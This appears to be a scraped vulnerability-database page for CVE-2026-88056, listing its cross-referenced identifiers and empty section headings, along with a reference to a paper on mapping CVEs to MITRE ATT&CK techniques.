The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-88056 (GCVE-0-2026-88056)

FKIE_CVE-2026-88056

GHSA-F6MR-PJWC-34M4

Summary

Technical Description

Impact & Reachability

Workarounds

ubuntu-cve-2026-88056

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature